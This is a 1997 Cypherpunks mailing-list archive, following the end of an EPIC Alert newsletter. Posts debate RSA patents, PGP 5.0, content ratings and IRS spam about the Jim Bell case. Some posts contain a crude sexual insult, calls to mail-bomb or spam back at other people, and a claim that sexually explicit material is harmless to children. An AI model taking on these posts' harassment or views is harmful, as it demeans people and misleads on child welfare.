applicant for employment" or to disclose the information.  Introduced by
Rep. Stearns (R-FL) on July 17.  Referred to the Committee on Commerce,
and in addition to the Committees on Government Reform and Oversight,
Education and the Workforce, and Veterans' Affairs.

An up-to-date list of pending legislation is available at:

     http://www.epic.org/privacy/bill_track.html

=======================================================================
[7] New at the EPIC Bookstore
=======================================================================

The EPIC Bookstore includes a wide range of books on privacy,
cryptography and free speech that can be ordered online.  Many of the
books are available at up to 40 percent off list price.

New titles include:

  "Protect Your Privacy on the Internet" by Bryan Pfaffenberger

  "Digital Cash" by Peter Wayner

  "Contested Commodities" by Margaret Jane Radin

Other popular titles:

  "The Right to Privacy" by Ellen Alderman & Caroline Kennedy

  "Who Knows: Safeguarding Your Privacy in a Networked World"
   by Ann Cavoukian & Don Tapscott

  "Applied Cryptography, 2nd Edition" by Bruce Schneier

We are also now featuring _The Tin Drum_ by Gunther Grass.  The novel, a
bizarre but extraordinary diary of a young boy who refuses to grow up
during the rise and fall of Nazi Germany, is considered by some the
greatest German novel written since WWII.  In 1979, the film version of
the Tin Drum received an Academy Award for Best Foreign Film.  However,
in recent months, groups that oppose "pornography" have persuaded the
Oklahoma City Library to remove copies of the film from the public
library.  For this reason, we are now making the book available at the
EPIC Bookstore.

Support the Freedom to Read.

Check out the EPIC Bookstore at:

     http://www.epic.org/bookstore/

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Hacking In Progress. August 8-10, 1997. Almere, Netherlands. Sponsored by
Hac-Tic. Contact: http://www.hip97.nl/

Beyond HOPE. August 8-10, New York City. Sponsored by 2600. Contact:
http://www.2600.com.

TELECOM Interactive 97.  September 8-14, 1997. Geneva, Switzerland.
Sponsored by the International Telecommunications Union.  Contact:
telecom-interactive@itu.int or http://gold.itu.int/TELECOM/int97/

Cryptography and The Internet: Developing Privacy and Security Policy
for the European Information Society. September 15, 1997. Brussels,
Belgium. Sponsored by Privacy International. Contact: ast3@privacy.org.
http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
September 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission. Email privacy@infoboard.be

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by Lavery, de Billy (corporate law firm).
http://www.confpriv.qc.ca/

Managing the Privacy Revolution '97. October 21-23, 1997. Washington, DC.
Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

RSA'98 -- The 1998 RSA Data Security Conference.  January 12-16, 1998.
San Francisco, CA.  Contact kurt@rsa.com or http://www.rsa.com/conf98/


             (Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news@epic.org wih
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest research
center in Washington, DC.  It was established in 1994 to focus public
attention on emerging privacy issues such as the Clipper Chip, the
Digital Telephony proposal, national ID cards, medical record privacy,
and the collection and sale of personal information.  EPIC is sponsored
by the Fund for Constitutional Government, a non-profit organization
established in 1974 to protect civil liberties and constitutional
rights.  EPIC publishes the EPIC Alert, pursues Freedom of Information
Act litigation, and conducts policy research.  For more information,
e-mail info@epic.org, http://www.epic.org or write EPIC, 666
Pennsylvania Ave., SE, Suite 301, Washington, DC 20003. +1 202 544 9240
(tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy Information
Center, contributions are welcome and fully tax-deductible.  Checks
should be made out to "The Fund for Constitutional Government" and sent
to EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003.
Individuals with First Virtual accounts can donate at
http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the right
of privacy and efforts to oppose government regulation of encryption and
funding of the National Wiretap Plan.

Thank you for your support.

  ---------------------- END EPIC Alert 4.11 -----------------------

..

-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003 * PGP Key  http://www.epic.org/staff/banisar/key.html









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 24 Jul 1997 23:56:21 +0800
To: declan@well.com
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970723232832.6899C-100000@cp.pathfinder.com>
Message-ID: <33D77571.6FC0@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> It's actually the Secret Service offices that are upstairs from the Time
> bureau, on the top floor of the building. Perhaps because we're close
> enough to see the White House? Dunno. The only time I went up there was
> when they were selling Xmas tree ornaments.
 
Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
them, could you find out if they have a mail order address?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 22:37:22 +0800
To: cypherpunks@toad.com
Subject: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <199707241315.GAA15443@bilbo.reference.com>
Message-ID: <35Lcae20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



One of my many hats is the owner of a very technical mailing list
with about 400 subscribers.  I received the following unsolicited
e-mail from reference.com, which I'm reposting without comment:

]Received: (from eansender@localhost)
]          by bilbo.reference.com (8.8.5/8.8.4)
]	  id GAA15443 for DLV@DM.COM; Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]Date: Thu, 24 Jul 1997 06:15:14 -0700 (PDT)
]From: ean@reference.com
]Message-Id: <199707241315.GAA15443@bilbo.reference.com>
]To: DLV@DM.COM
]Subject: InReference Email Ad Network Information
]
]Dear List Owner,
]
]As a listowner, you may have heard about us. We're InReference, Inc. We're
]the developers of Reference.COM, the Internet's most comprehensive resource
]for accessing Internet forums. We allow business and home users to easily
]search, find, browse  and participate in more than 150,000 worldwide web
]forums, USENET newsgroups and email lists. Even though you're not currently
]archiving your list with Reference.COM, we thought we'd let you know about a
]new service from InReference that may be of interest. We understand the
]pressures on your time, so thanks in advance for hearing us out.
]
]During the past year, we've been approached by numerous list owners
]asking for help finding sponsors for their lists. While a few lists are
]already funded, others would benefit from additional financial support.
]The reasons are many.  Perhaps the listowner needs helps supporting day-to-day
]operations. Or perhaps there's a desire to grow the list.
]
]We've also been approached by many would-be sponsors, socially-responsible
]companies that wanted to do email advertising the right way--with the
]cooperation and support of the list owner.
]
]To address this need, we've started the InReference email ad network  (EAN).
]Basically, we match you up with advertisers fitting a preference profile that
]you create. We handle ad sales, insertion, auditing, billing, and so on. It
]costs nothing to sign-up, and can generate $0.01-0.05/ad/subscriber depending
]on the list. As a list owner, you choose the type of ad (whether banner or
]standalone) and the frequency of ad insertion. You also have the right to veto
]any ads before they can be sent out.
]
]A more detailed description of EAN can be found at the following URL  :
]	http://www.inreference.com/ean
]Should your interest warrant it, details on signing up can be found at :
]	http://www.inreference.com/ean/listinfo.html
]
]Regards,
]
]Jack Zoken
]President
]InReference, Inc.
]
]PS: Regardless of whether you sign-up for EAN, we'd welcome the opportunity to
]archive your list at Reference.COM. See  __________ to submit your list for
]inclusion.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 00:50:54 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The Secret Service sells tree ornaments every year. They're quite nice.
Though by the time I got back from Singapore last December, they were sold
out. Don't think they do mail order; it's just for building residents.

If there's a tremendous amount of interest I might be talked into taking
orders this year. They're only about $12 each. 

I hear from fellow jlists that the S.S. also runs a souvenier shop in the
basement of the Old Executive Office Building, on the White House
compound. I've never been able to find it, though. 

-Declan


On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?
> 
> -Doug
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 25 Jul 1997 00:20:44 +0800
To: David Formosa <dformosa@st.nepean.uws.edu.au>
Subject: Re: I have had ENOUGH of this government bullshit!!
In-Reply-To: <Pine.LNX.3.93.970724164115.102C-100000@shirley>
Message-ID: <33D77A20.6CB6@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Thu, 24 Jul 1997, CST Administration Dept wrote:
> 
> > Screw this. I have finally blown my stack over this bullshit governmental
> > crap. From this oint forward, I fully and completely make available, IN THE
> > U.S, the International version of PGP 2.63.ix.
> 
> Um its RSA that prevent the distrabution of the international version of
> PGP in the USA not the goverment.

Yes, but was it not the US government that gave RSA the patent?  My
understanding is that the patent was applied for after the time limit
for applying for patents was up.  Anyone know if this is true?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Jul 1997 23:01:13 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <19970724023449.58782@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970724104806.29712K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Kent Crispin wrote:

> Of course, you could just confine your driving to private roads, and
> leave the license plate off. 

Of course you could start your own mailing list for NSA spooks and the
like and only send email there.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Jul 1997 23:16:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v03102800affc86bdca7e@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970724105626.29712M-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Tim May wrote:

> Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
> what was the reason this was sent to folks who are neither lawyers nor
> reporters nor anyone else who typically receives Treasury Department press
> releases?

I'm probably wrong on this, but the "pr" at the end stands for public
relations, "nw" could be "news wire" or some such.  (And for the clueless,
IRS stands of course for evil jackbooted thugs that eat most of our
paychecks for breakfast...)  :)
 
For one thing, I suggest we setup a nice big form letter and spam them
back with it stating that we do not condone spamming and that we intend to
sue their asses for using our private emails to distribute government
propaganda.  (The quartering of soldiers and all that shit would be a nice
constituional point to include.)  Any lawyer like folk willing to write up
such a beast?  I'd gladly attach my email address to it as it's being
sent.

It could also be a mailing list, if it is, sending email to it will at
least confirm the theory...

It's interesting that I've tried two or three different networks and
nslookup, ping, and traceroute don't show any net.insp.irs.gov, nor any
insp.irs.gov... anyone have better luck finding this evil machine?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 25 Jul 1997 02:29:26 +0800
To: cypherpunks@toad.com
Subject: d-day
Message-ID: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




What do you think about celebrating the expiration of the Diffie-Hellman
patent by getting all the PGP users in the world to switch to DSS/DH keys
all at once?

It would take a massive education effort, but imagine the effect... we
could even celebrate it annually, since there'd inevitably be significant
lagging.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 25 Jul 1997 02:04:09 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199707241418.HAA06215@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970724114651.77718A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 24 Jul 1997, Mix wrote:

> Timmy May's 16Kb brain's single convolution is 
> directly wired to his rectum for input and his T1 
> mouth for output. That's 16K bits, not bytes. Anal 
> intercourse has caused extensive brain damage.
> 
>   o o Timmy May
>    o
>   \_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 24 Jul 1997 18:55:07 +0800
To: cypherpunks@toad.com
Subject: sober reflection
Message-ID: <199707241042.MAA25077@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "Bill Frantz" typed:

> A similar approach could evolve for network sites.  A sign saying that we
> follow the US Chamber of Commerce's code on fair information practices
> could easily evolve.  My questions are, what should that code contain?
> And, how many different codes do we need?


See "http://www.truste.org/", "TRUSTe", although I thought it 
used to be called "eTrust"?


Zooko Journeyman

[WE INTERRUPT THIS ARTICLE FOR A SPECIAL ARTICLE RATING:  Hey,
Dmitri M. Vulis!  The article entitled "Spawn of Vulis" was not
a flame or insult.  If you deleted it without reading it, 
I encourage you to go retrieve it again and read it.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 01:03:34 +0800
To: Doug Peterson <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <Pine.SUN.3.96.970724125100.29712N-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Doug Peterson wrote:

> Declan McCullagh wrote:
> > 
> > It's actually the Secret Service offices that are upstairs from the Time
> > bureau, on the top floor of the building. Perhaps because we're close
> > enough to see the White House? Dunno. The only time I went up there was
> > when they were selling Xmas tree ornaments.
>  
> Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> them, could you find out if they have a mail order address?

Sure you want'em?  They're probably as buggy as a swap in july.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@nb.sympatico.ca>
Date: Fri, 25 Jul 1997 00:00:09 +0800
To: Bill Stewart <cypherpunks@cyberpass.net
Subject: Re: Attorneys: RSA patent invalid
In-Reply-To: <v03007802aff9b733458e@[198.115.179.81]>
Message-ID: <3.0.2.32.19970724125647.007a2980@pop.nb.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



At 05:29 PM 23/07/97 -0700, you wrote:
>$25K upfront is prohibitively expensive for freeware and
>for garage-shop programmers.  It's a drop in the bucket for a 
>large project such as Netscape that wants to add some security,
>but in a 3-person-month email widget it's excessive.
>
>On the other hand, it's now possible to license RSAREF for a much
>more reasonable fee from Concentric; I think it's just per-copy
>rather than a big up-front hit.

As of March, 1997 Consensus Development (www.consensus.com) stopped
licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
think it was??) 

Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
RSADSI. 

Maybe too many people were using commerical RSAREF licenses rather than the
BSAFE toolkit.

-M





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 25 Jul 1997 04:15:14 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
Message-ID: <Pine.LNX.3.95.970724130247.552A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Declan McCullagh wrote:

> Date: Thu, 24 Jul 1997 09:39:20 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Doug Peterson <fnorky@geocities.com>
> Cc: cypherpunks@toad.com
> Subject: Re: DEATH TO THE TYRANTS
> 
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each. 

What do they look like?  

> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though. 

You have to find the news stand and ask for the "Special of the day" while
wearing a pink dress shirt.  A trap door will open and you will be at the
gift shop.  (If you survive the fall.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 26 Jul 1997 23:31:03 +0800
To: Declan McCullagh <declan@vorlon.mit.edu>
Subject: Re: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
Message-ID: <Pine.LNX.3.91.970724130938.2906A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   A number of groups, including the
>   American Civil Liberties Union and the Electronic
>   Privacy Information Center, support the use of such
>   software on principle. 

Then they have no principles worth speaking of.


>   But they also point out that
>   filtering software can be used to block any kind of
>   content, not just sexually explicit material, and so
>   it can end up restricting free speech.

So sexually explicit material is no longer classified as speech?

> could be used as easily by governments against citizens and employers
> against employees as they could by parents against children, as was
> made clear by one of the PICS creators in an early paper on the
> topic.

This is not a valid point, parents restricting what their children learn 
about is the best way to fuck a child up.

> We further recognize that there is indeed some material on the Internet
> that is genuinely abhorrent.  But we do not believe you can hide
> the world from your children. We should help our children to
> understand the world, and then help them make it better. Good
> parenting is not something found in a software filter; it takes
> time, effort, and interest. And it takes trust in young people to
> develop within themselves judgment and reason, and the ability to
> tell right from wrong.

Quite so, this is why I never have seen the viewpoint which says that 
parents should not allow children to view sexually explicit material, 
which I can under no circumstances see as being harmful (with the 
possible exception of violent pornography). However, no material is 
harmful in and of itself, it is the attitude the child has towards such 
material that defines it`s worth, if a child sees a picture of a violent 
rape and finds it unpleasant and distasteful that says a lot for the way 
the child has been educated, if the child is interested by it and finds 
the material in good taste then I`m sure I can leave it to you to draw 
your own conslusions as to the success level of the parent in educating 
the child.

Of course any violent material can be harmful, but only if the child is 
brought up to find it acceptable to carry out real violent acts.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 25 Jul 1997 02:00:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>
Message-ID: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 08:55 AM 7/23/97 -0400, William H. Geiger III wrote:
>
>Has anyone contacted Jim's lawer about the recent IRS SPAM?
>
>Seems to me that the IRS leaking the Plea Agreement would be at least
>contempt of court.


With certain exceptions, court proceedings are open to the public which is
why one is able to read articles in newspapers about certain cases.

The only way that the IRS' leaking the Plea Agreement by sending email to
individuals would constitute contempt of court is if there was a gag order.

 

***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 02:16:31 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, Lynne L. Harrison wrote:

> With certain exceptions, court proceedings are open to the public which is
> why one is able to read articles in newspapers about certain cases.
> 
> The only way that the IRS' leaking the Plea Agreement by sending email to
> individuals would constitute contempt of court is if there was a gag order.

A. It's unsolicited spam.
B. The way they gathered the list of addresses is questionable, and likely
off Jim's HD.  If this is the case, can it be used to send the warning
message?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Jul 1997 13:03:23 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Rating online content can work; rating news can't
In-Reply-To: <33D6B0D0.19D1@netcom.com>
Message-ID: <3.0.2.32.19970724144113.00772da4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:34 PM 7/23/97 -0700, Steve Schear wrote:
>Since the Supreme Court said the online world should be as free as
>print, and no self-labeling system exists for magazines or newspapers,
>why should the Net be any different?  I don't believe that a self-rating
>system is either practical or desirable.  Enactment of any laws to put
>teeth into Internet self-ratings will almost certainly run afoul of
>Constitutional challenges, and without such laws compliance and thus
>widespread acceptance is unlikely.

Genuinely voluntary self-rating systems, and third-party rating-services,
are both practical and desirable for some kinds of communications.
(Mandatory systems are of course evil and inadequate.)
Not only are there people who are concerned about what their kids will see,
there are also readers who don't want to be bothered with SPAM,
readers who only want to join Better-Business-Bureau-approved MLM scams,
Usenet readers who don't want their porn diluted with phone sex ads,
web users who'd like to get further information on products without
getting junk email as well, and all sorts of applications that
don't fit well into the standard two-deadly-sins model or the
"one rating service knows all the sites you don't want to see" model.

Voluntary rating systems allow a multiplicity of values.
The latest TV ratings and V-Chip model not only can't cope with
rating news*, it also doesn't rate TV commercials -- which would score
high on greed/envy/gluttony/sugar-content/boredom,
none of which deadly sins are covered by the V-Chip scale
but are often more interesting criteria both to parents and viewers
than the sex and violence - parents know The Disney Channel isn't going
to show porn on Saturday mornings.  If your VCR also knew about ratings,
you'd be able to watch the shows commercial-free on tape...

Multiple voluntary ratings systems do mean that the information you
want to see won't always have a rating from a rating system you use;
that's the way it goes.  If it's voluntary, then some readers will set
their browsers to fail open, and some will set them to fail closed,
and some will be exposed to rating services that may offer them
other ways to find high-quality reading than the ones they use today.

And, yes, search engines that know about Interestingness ratings 
can be a win, if you've got some criteria that simple keyword searches
don't describe well enough to pick the best 100 of 512387 matches.
	
>I have no doubt that the definition of 
>what qualifies as a bona fide news organization is in the
>eye of the beholder.  I certainly would not class CNET with any of the
>major US newspapers, magazines nor the WSJ.  

This is cyberspace.  Everybody's a bona-fide news organization.
Some are more organized than others, and some make up more of the 
news as they go along than others (which network blew up cars?),
and some people focus more on commentary than events or analysis,
but the oligopoly model -- a few newspapers which can afford distribution,
a few TV stations with government-granted spectrum monopolies,
and a few big wire services spoon-feeding everybody -- is dead.
Freedom of the press belongs to anyone who owns one, and that's
everyone who can afford a used PC and a free Juno account...
The big news organizations can still add a lot of value,
but there are a lot more voices in the game.

Bona Fide News Organizations during the Gulf War gave us the Pentagon 
Nintendo films; almost nobody went out in the battlefield reporting real 
news, but if Iraq had a decent Internet infrastructure we wouldn't have 
had to wait for Ramsey Clark's video.  The live Internet reporting during 
the Russian coup and the Chinese fax barrage during TienanMen Square 
weren't from Isvestia or the Chinese government-recognized press, 
but they were the real news.

*A classic example of news ratings not working are the
Vietnam war pictures of the naked girl running with napalm on her,
and the Vietnamese army officer shooting a prisoner in the head;
a V-Chip would ding them for nudity and violence, but they were
two of the most images of that war.  We were lucky those pictures
came out; any proposal that would deny the similar pictures in the
next war an open rating because it's not from a "bona fide" news org
is censorship of a sort unacceptible in a free society.





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 25 Jul 1997 06:02:20 +0800
To: Dave K-P <dkp@iname.com>
Subject: Re: d-day
In-Reply-To: <33D7B34A.287D@iname.com>
Message-ID: <Pine.3.89.9707241404.A28249-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain







On Thu, 24 Jul 1997, Dave K-P wrote:
> 
> 	So, before you run off to play with your new toys, read the
> warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
> that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
> Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
> seems unlikely.

The Linux beta of PGP 5.0 is available at 
http://www.pgp.com/products/50-linux-beta.cgi

Once the scanning effort (91% proofread) has completed, PGP 5.0 for a 
wide variety of OS'es is only a matter of time.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Fri, 25 Jul 1997 04:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: d-day
In-Reply-To: <199707241810.NAA08990@dfw-ix9.ix.netcom.com>
Message-ID: <33D7B34A.287D@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Neva Remailer wrote:

> What do you think about celebrating the expiration of the Diffie-Hellman
> patent by getting all the PGP users in the world to switch to DSS/DH keys
> all at once?

	From www.rsa.com on DSS ...

DSA has been criticized by the computer industry since its announcement.
Criticism has focused on a few main issues: it lacks key exchange
capability; the underlying cryptosystem is too recent and has been
subject
to too little scrutiny for users to be confident of its strength;
verification of signatures with DSA is too slow; the existence of a
second authentication standard will cause hardship to computer hardware
and
software vendors, who have already standardized on RSA; and the process
by
which NIST chose DSA was too secretive and arbitrary, with too much
influence wielded by NSA.

	And from www.rsa.com on the ElGamal variation of Diffie-Hellman...

The main disadvantage of ElGamal is the need for randomness, and its
slower speed (especially for signing). Another potential disadvantage of
the ElGamal system is that message expansion by a factor of two takes
place during encryption. However, such message expansion is negligible
if
the cryptosystem is used only for exchange of secret keys. 

	So, before you run off to play with your new toys, read the
warranty first.  Also there are platforms that PGP 5.0 doesn't cover yet
that PGP 2.6.3i already does, such as: MS-DOS, OS/2, Amiga, Atari,
Macintosh, BeOS and Linux.  Until such a time, a world-wide conversion
seems unlikely.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
